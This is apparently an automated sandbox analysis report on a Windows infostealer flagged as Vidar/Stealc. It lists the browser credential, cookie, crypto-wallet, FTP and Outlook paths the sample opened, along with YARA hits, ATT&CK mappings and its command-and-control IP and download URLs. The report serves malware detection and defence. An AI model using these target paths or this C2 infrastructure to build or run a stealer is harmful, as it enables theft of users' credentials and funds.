Source: Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: keystore
Source: Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: \Electrum-LTC\wallets\
Source: Eae0KTw4m1.exe, 00000000.00000002.1832529832.000000000164D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\.gu

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: Eae0KTw4m1.exe PID: 7300, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: Eae0KTw4m1.exe, type: SAMPLE
Source: Yara match	File source: 0.2.Eae0KTw4m1.exe.720000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.Eae0KTw4m1.exe.720000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1702244271.0000000000721000.00000080.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1832529832.00000000015EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Eae0KTw4m1.exe PID: 7300, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: Eae0KTw4m1.exe PID: 7300, type: MEMORYSTR

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C7B0C40 sqlite3_bind_zeroblob,	0_2_6C7B0C40
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C7B0D60 sqlite3_bind_parameter_name,	0_2_6C7B0D60
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C6D8EA0 sqlite3_clear_bindings,	0_2_6C6D8EA0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 Process Injection	1 Masquerading	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Email Collection	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	4 Data from Local System	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Process Injection	NTDS	12 Process Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	2 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	144 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Eae0KTw4m1.exe	79%	ReversingLabs	Win32.Spyware.Vidar
Eae0KTw4m1.exe	85%	Virustotal		Browse
Eae0KTw4m1.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Reputation
http://178.63.215.77/a43eb2d9880da9a6/mozglue.dll	true	unknown
http://178.63.215.77/a43eb2d9880da9a6/nss3.dll	true	unknown
http://178.63.215.77/a43eb2d9880da9a6/vcruntime140.dll	true	unknown
http://178.63.215.77/a43eb2d9880da9a6/softokn3.dll	true	unknown
http://178.63.215.77/a43eb2d9880da9a6/sqlite3.dll	true	unknown
http://178.63.215.77/a43eb2d9880da9a6/msvcp140.dll	true	unknown
http://178.63.215.77/	true	unknown
http://178.63.215.77/a43eb2d9880da9a6/freebl3.dll	true	unknown
http://178.63.215.77/031d77089be01fd8.php	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	Eae0KTw4m1.exe, 00000000.00000003.1749796703.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, KFBAECBA.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	EHJJKFCBGIDGHIECGCBKFHIEBG.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	Eae0KTw4m1.exe, 00000000.00000003.1749796703.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, KFBAECBA.0.dr	false	URL Reputation: safe	unknown
http://178.63.215.77/031d77089be01fd8.phpmin	Eae0KTw4m1.exe, 00000000.00000002.1832529832.00000000015E0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://178.63.215.77/031d77089be01fd8.phpwser	Eae0KTw4m1.exe, 00000000.00000002.1832529832.0000000001631000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	Eae0KTw4m1.exe, 00000000.00000002.1832529832.000000000164D000.00000004.00000020.00020000.00000000.sdmp, Eae0KTw4m1.exe, 00000000.00000002.1852855727.0000000027A90000.00000004.00000020.00020000.00000000.sdmp, FHCAEGCBFHJDGCBFHDAF.0.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Eae0KTw4m1.exe, 00000000.00000003.1749796703.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, KFBAECBA.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmp, Eae0KTw4m1.exe, 00000000.00000003.1745641121.0000000021A21000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://178.63.215.77/031d77089be01fd8.php3	Eae0KTw4m1.exe, 00000000.00000002.1832529832.00000000015E0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://178.63.215.77/a5	Eae0KTw4m1.exe, 00000000.00000002.1832529832.0000000001631000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://178.63.215.77/a43eb2d9880da9a6/mozglue.dll/u	Eae0KTw4m1.exe, 00000000.00000002.1832529832.000000000164D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	FHCAEGCBFHJDGCBFHDAF.0.dr	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Eae0KTw4m1.exe, 00000000.00000003.1749796703.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, KFBAECBA.0.dr	false	URL Reputation: safe	unknown
http://178.63.215.77/a43eb2d9880da9a6/nss3.dllN	Eae0KTw4m1.exe, 00000000.00000002.1832529832.000000000161E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://178.63.215.77/a43eb2d9880da9a6/nss3.dlli	Eae0KTw4m1.exe, 00000000.00000002.1832529832.000000000161E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://178.63.215.77/031d77089be01fd8.phpic	Eae0KTw4m1.exe, 00000000.00000002.1832529832.00000000015E0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	Eae0KTw4m1.exe, 00000000.00000002.1832529832.000000000164D000.00000004.00000020.00020000.00000000.sdmp, Eae0KTw4m1.exe, 00000000.00000002.1852855727.0000000027A90000.00000004.00000020.00020000.00000000.sdmp, FHCAEGCBFHJDGCBFHDAF.0.dr	false		unknown
http://www.sqlite.org/copyright.html.	Eae0KTw4m1.exe, 00000000.00000002.1843576283.000000001BA96000.00000004.00000020.00020000.00000000.sdmp, Eae0KTw4m1.exe, 00000000.00000002.1856023910.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://178.63.215.77/031d77089be01fd8.phpPRO	Eae0KTw4m1.exe, 00000000.00000002.1832529832.00000000015E0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rosoft	Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmp	false		unknown
http://178.63.215.77/a43eb2d9880da9a6/softokn3.dllCu	Eae0KTw4m1.exe, 00000000.00000002.1832529832.000000000164D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.mozilla.com/en-US/blocklist/	Eae0KTw4m1.exe, Eae0KTw4m1.exe, 00000000.00000002.1856188128.000000006C63D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY	Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmp, Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
http://178.63.215.77/031d77089be01fd8.phpition:	Eae0KTw4m1.exe, 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmp	false		unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	Eae0KTw4m1.exe, 00000000.00000002.1832529832.000000000164D000.00000004.00000020.00020000.00000000.sdmp, Eae0KTw4m1.exe, 00000000.00000002.1852855727.0000000027A90000.00000004.00000020.00020000.00000000.sdmp, FHCAEGCBFHJDGCBFHDAF.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Eae0KTw4m1.exe, 00000000.00000003.1749796703.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, KFBAECBA.0.dr	false		unknown
http://178.63.215.77/031d77089be01fd8.phpVB	Eae0KTw4m1.exe, 00000000.00000002.1832529832.00000000015E0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://178.63.215.77/031d77089be01fd8.phpBR:p	Eae0KTw4m1.exe, 00000000.00000002.1832529832.00000000015E0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://178.63.215.77CAKFI	Eae0KTw4m1.exe, 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Eae0KTw4m1.exe, 00000000.00000003.1749796703.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, KFBAECBA.0.dr	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	Eae0KTw4m1.exe, 00000000.00000002.1832529832.000000000164D000.00000004.00000020.00020000.00000000.sdmp, Eae0KTw4m1.exe, 00000000.00000002.1852855727.0000000027A90000.00000004.00000020.00020000.00000000.sdmp, FHCAEGCBFHJDGCBFHDAF.0.dr	false		unknown
http://178.63.215.77/031d77089be01fd8.phpPRNqW	Eae0KTw4m1.exe, 00000000.00000002.1832529832.00000000015E0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://178.63.215.77/a43eb2d9880da9a6/freebl3.dllut	Eae0KTw4m1.exe, 00000000.00000002.1832529832.000000000164D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmp, Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmp, Eae0KTw4m1.exe, 00000000.00000003.1745641121.0000000021A21000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://178.63.215.77/a43eb2d9880da9a6/sqlite3.dllUu	Eae0KTw4m1.exe, 00000000.00000003.1749883907.0000000001660000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	Eae0KTw4m1.exe, 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	Eae0KTw4m1.exe, 00000000.00000003.1749796703.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, KFBAECBA.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	EHJJKFCBGIDGHIECGCBKFHIEBG.0.dr	false	URL Reputation: safe	unknown
http://178.63.215.77/031d77089be01fd8.phpdus.wallet	Eae0KTw4m1.exe, 00000000.00000002.1832529832.0000000001631000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://178.63.215.77/a43eb2d9880da9a6/sqlite3.dll)	Eae0KTw4m1.exe, 00000000.00000003.1749883907.0000000001660000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://178.63.215.77/031d77089be01fd8.phpv	Eae0KTw4m1.exe, 00000000.00000002.1832529832.0000000001631000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	Eae0KTw4m1.exe, 00000000.00000003.1749796703.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, KFBAECBA.0.dr	false	URL Reputation: safe	unknown
http://178.63.215.77/031d77089be01fd8.php:	Eae0KTw4m1.exe, 00000000.00000002.1832529832.00000000015E0000.00000004.00000020.00020000.00000000.sdmp, Eae0KTw4m1.exe, 00000000.00000002.1832529832.0000000001631000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	Eae0KTw4m1.exe, 00000000.00000002.1832529832.000000000164D000.00000004.00000020.00020000.00000000.sdmp, Eae0KTw4m1.exe, 00000000.00000002.1852855727.0000000027A90000.00000004.00000020.00020000.00000000.sdmp, FHCAEGCBFHJDGCBFHDAF.0.dr	false	URL Reputation: safe	unknown
http://178.63.215.77	Eae0KTw4m1.exe, 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmp, Eae0KTw4m1.exe, 00000000.00000002.1832529832.00000000015EE000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://178.63.215.77/a43eb2d9880da9a6/freebl3.dllUu	Eae0KTw4m1.exe, 00000000.00000002.1832529832.000000000164D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org	EHJJKFCBGIDGHIECGCBKFHIEBG.0.dr	false	URL Reputation: safe	unknown
http://178.63.215.77/a43eb2d9880da9a6/vcruntime140.dll~	Eae0KTw4m1.exe, 00000000.00000002.1832529832.0000000001631000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Eae0KTw4m1.exe, 00000000.00000003.1749796703.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, KFBAECBA.0.dr	false	URL Reputation: safe	unknown
http://178.63.215.77/031d77089be01fd8.phpW	Eae0KTw4m1.exe, 00000000.00000002.1832529832.00000000015E0000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
178.63.215.77	unknown	Germany		24940	HETZNER-ASDE	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1532121
Start date and time:	2024-10-12 14:16:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Eae0KTw4m1.exe renamed because original name is a hash value
Original Sample Name:	62f90cd0cb366fa5daa8aafcdcd16235.exe
Detection:	MAL
